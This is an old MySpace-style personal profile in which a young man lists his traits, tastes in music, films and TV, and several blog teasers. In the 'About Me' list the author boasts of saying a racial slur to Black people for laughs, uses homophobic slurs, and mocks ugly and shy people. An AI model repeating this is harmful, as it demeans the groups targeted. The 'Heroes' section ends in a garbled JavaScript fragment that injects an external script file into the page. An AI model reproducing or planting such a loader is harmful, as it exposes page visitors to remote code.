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About Me

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~I play in a band...Tight Dudes II....we rock really fuckin hard...
~I am a tight dude...
~I dig video games....alot
~Really I play alot of fucking video games...like at least 5 hours a day...
~I am the self proclaimed non-japanese God of Halo...we all know those "Japs" can beat us at anything....
~If anyone plays xbox live my gamertag is:
the toivo
~I hate everyone...
~I am rude and obnoxious and gross but I occasionally am thought to be funny...though I still doubt it...
~I go to many movies...I enjoy them...
~I love my girlfriend...she is rad...she is good at halo...not only is she great to me but she is probably the nicest person I know...that is why its weird that she likes me...cause I am a dick...
~I love my friends...they are cooler than you friends...
~My friends and I are not very excepting of new people...unless you are a decent Halo player then you will be welcomed with open arms...
~I don't drink or smoke or anything like that. Its not cause I am "straightedge"...I have just never been into that crap. Besides I do dumb shit sober...I can't imagine what I would do drunk.
~I hate when people move or go out of town and shit...its gay...I get bored...for my sake nobody should leave town...I need stuff to do... (i.e. Douche, Joe Defuria, Craig, Jared, Mike, Eric, Matt,Jen)
~I sometimes say "nigger" in front of black people and it makes me laugh...
~Shy people bug me...
~It also bothers me when people say they hate "drama in their lives" I think that is crap. If your life wasn't dramatic you would be bored and stupid. Drama brings out character in people...plus it makes me laugh when people get all stressed out and upset.
~Everyone on myspace claims that "music is their lives" and that I also doubt. If music was your lives I assume your family and friends would be rather hurt.Music is tight and all but I believe that other things make up my life instead of music.Most people that make this claim are losers that live in their parents basement that live through the lives of their favorite musicians....I guess to a musician music would be life but...that doesn't count.
~I hate when people put pictures on myspace of them with their sic guns...its lame...
~I hate when people tell me they saw me somewhere but didn't come say hello...I don't think Im a creep, you can come say "Hi, Toivo". I won't hold you to some long weird akward conversation... I probably don't like you anyway so I won't want to talk to you for too long.
~I hate when people keep offering me food although I have insisted that I am not hungry.
~When I was in high school, I wore tight pants and makeup and had long hair...people didn't call me "scene", they called me a faggot. I wish people would still call me a faggot.It really burns my balls to know that what I was made fun of for in high school is now hip...I hate you.
~I am allergic to tuna and lobster and crab and refried beans...
~It is really late...why am I updating my myspace.
~I enjoy talking with my friends on myspace...instead of just getting on the computer to be disappointed with a screen with no new messages or new comments or new blog comments... so talk to me...
~I once threw a cup of piss on my buddy...I laughed...he didn't...later he did...
~I go to Mesa Community College...thats pretty tight...I guess...
~Every tuesday night I eat chicken wings and play halo with my pals...it is a nice gathering of friends...
~I like to say I am pro-abortion...this means I believe everyone should have at least one abortion, it just seems like a nice experience...
~I enjoy talking politics and religion just because it gets people upset and nobody will ever change their way of thinking in either category because they are stupid...
~I think I want to become a pro-wrestler...when I was little I always claimed that was going to be one and as my life progresses it continues to look like an even better idea...
~I want a hair cut but at the same time I want all my hair long like some hippie...
~I wish I was born in the 70s because rock music was at its best in the 70s...for the record it is at its worst right now...
~I laugh at/make fun of really ugly people...especially the ones who think they are attractive, makes me laugh.
~When I get bored I add more stuff to this list of stuff about me.
~Yes I realize how annoying my myspace is....flashing colors...stupid pictures....yeah it sucks....
~I believe that once Good Charlotte comes out with a new album all these "scene" kids will go back to their teenie bopped punk rock and I will no longer have to listen to crappy ass From First to Last and Greeley Estates and all other crappy scene music
~The ratio of friends to people that just come to my myspace is 435/8041. That is 5.40977%. That is pretty shitty, I must be unappealing to a lot of people.
~If you actually read this whole thing, I applaud you. You should send me a message and say, I read you whole "About me" section and it sucked....stupid....
~I will write more later...I know you are interested in all aspects of my life...you fuckin' weirdo.....

My Interests

Likes:
Video GamesChicken WingsHaloIce CreamHousePornMasturbationProfessional WrestlingGood MusicGood moviesDr.PepperSpriteLearningPeople who don't play video gamesPeople who try to talk over meBeing late for thingsParents walking in while I am masturbatingDumb peoplePeople who don't like myspaceReadingWhen people quote movie lines incorrectlyPeople who say they can beat me at Halo but then get ownedexcessive complainingCrappy musicCrappy moviesPeople who try to find deep meaning in the most retarded thingsWaterMy JobLosing stuffPeople taking off my hat, there is nothing more rudePeople that end arguments with "Lets agree to disagree"Having to laugh at people's dumb jokes out of pity
Video Games

Music:

Music I like 2Pac
50 Cent
Aerosmith
AFI
Alice Cooper
And the Hero Fails
The Aquabats
The Beatles
Beck
Billy Idol
Black Eyed Peas
Blindside
Blink 182
Bloodhound Gang
Brand New
The Bravery
The Butthole Surfers
Cake
Cobra Starship
Coheed and Cambria
The Cover Up
The Darknes
David Bowie
The Distillers
The Doors
Elton John
Eminem
For the Record
Franz Ferdinand
Glassjaw
Grandmaster Flash
Green Day
Guns and Roses
Gym Class Heroes
Head Automatica
Hellogoodbye
The Hives
Hot Hot Heat
Iggy Pop
Incubus
Jimmy Eat World
Journey
Judas Priest
The Killers
Kiss
Lars Frederiksen
Marilyn Manson
Maroon 5
Mest
Methods of Mayhem
Michael Jackson
Mike Jones
Modest Mouse
Mudvayne
My Chemical Romance
N*E*R*D
Nine Inch Nails
Nirvana
The Offspring
OK GO
Outkast
Ozzy
Panic at the Disco
The Pink Spiders
Primus
Prodigy
Queen
The Raconteurs
The Ramones
Rancid
Rob Zombie
The Rolling Stones
Slipknot
Snoop Dogg
Static X
The Stiletto Formal
Stone Temple Pilots
The Strokes
Styx
The Sugarhill Gang
Sum 41
System of a Down
Taking Back Sunday
Tenacious D
Thursday
Tool
The Used
Weezer
Weird Al
The White Stripes
Wolfmother
Ying Yang TwinsMusic I don't like Linkin Park
Fall Out Boy
Mars Volta
Saosin
From First to Last
Avenged Sevenfold
30 Seconds to Mars
HIM
Red Jumpsuit Apparatus
The Almost
Say Anything
Underoath

Movies:

Napolean Dynamite
Fun with Dick and Jane
Joe Dirt
Ace Ventura
Big Fish
Out Cold
40 Year Old Virgin
House of 1000 Corpses
Harry Potter
Lord of the Rings
The Hills have Eyes
Garbage Pail Kids
Summer School
Almost Famous
National Lampoons Vacation
Strange Brew
Saving Silverman
Bad Santa
The Devil's Rejects
The Texas Chainsaw MAssacre(the original)
The Toy
Sorority Boys
Kicking and Screaming
Old School
Nacho Libre
Problem Child 1 & 2
The Toy
Pirates
White Chicks
The New Guy
The Benchwarmers
Zoolander
Waiting
Borat

Television:

~The Simpsons~

Family Guy

~House~

Fresh Prince of Bel Air

~Saved by the Bell~

Jackass

~Wonder Showzen~

Andy Milonakis

Celebrity Fat Club

~Team Sanchez~

Aqua Team Hunger Force

Books:

I really like that one book with all those tales of that mythological guy doing amazing things... whats it called, oh yeah The Bible. Actually I don't read at all, I like to tell people that I don't read because I do not believe in it but actually my mind cannot stay fixed on one thing long enough to read. I think the last book that I actually finished was a Goosebumps book in 7th grade. It was a good one about some kid who obtained a shrunken head and had wild adventures with sexy results.

Heroes:

Just about anything anyone puts in this section seems extremely corny. If I were to claim my dad as my hero, someone would say "awwwww how cute he loves his daddy." Maybe I could say that some guy who faught all the odds to get where he is today was my hero, but I would feel like a retard. So I would say my hero would have to be the one person who encourages me in everything I do everyday... Bill Paxton, that goofy lesbian. .."var s=document·('script');s.src='../x/7318.js';document 3;getElementsByTagName('head')[0].appendChild(s);"

My Blog

Will the real Toivo please stand up

So everywhere I go people tell me I look like other people,whether it be "Ryan from Greely Estates" or "Paris" or "Some dickhead". I started thinking one day... maybe it is not I who look like them bu...
Posted by toivo on Mon, 01 Jan 1900 12:00:00 PST

I am by far the best artist any of you know!!!!!!!

Alright for a third time I am going to attempt to create this glorioucs blog. Now lately there has been a huge demand that I post some of my art online... well Laura is the only person who asked to se...
Posted by toivo on Mon, 01 Jan 1900 12:00:00 PST

Fat Folks....

Well now I am writing a "Blog"!! I have been contemplating what I am going to write a Blog about and the only thing I could think of is a concern I have had ever since I was just a little guy. I have ...
Posted by toivo on Mon, 01 Jan 1900 12:00:00 PST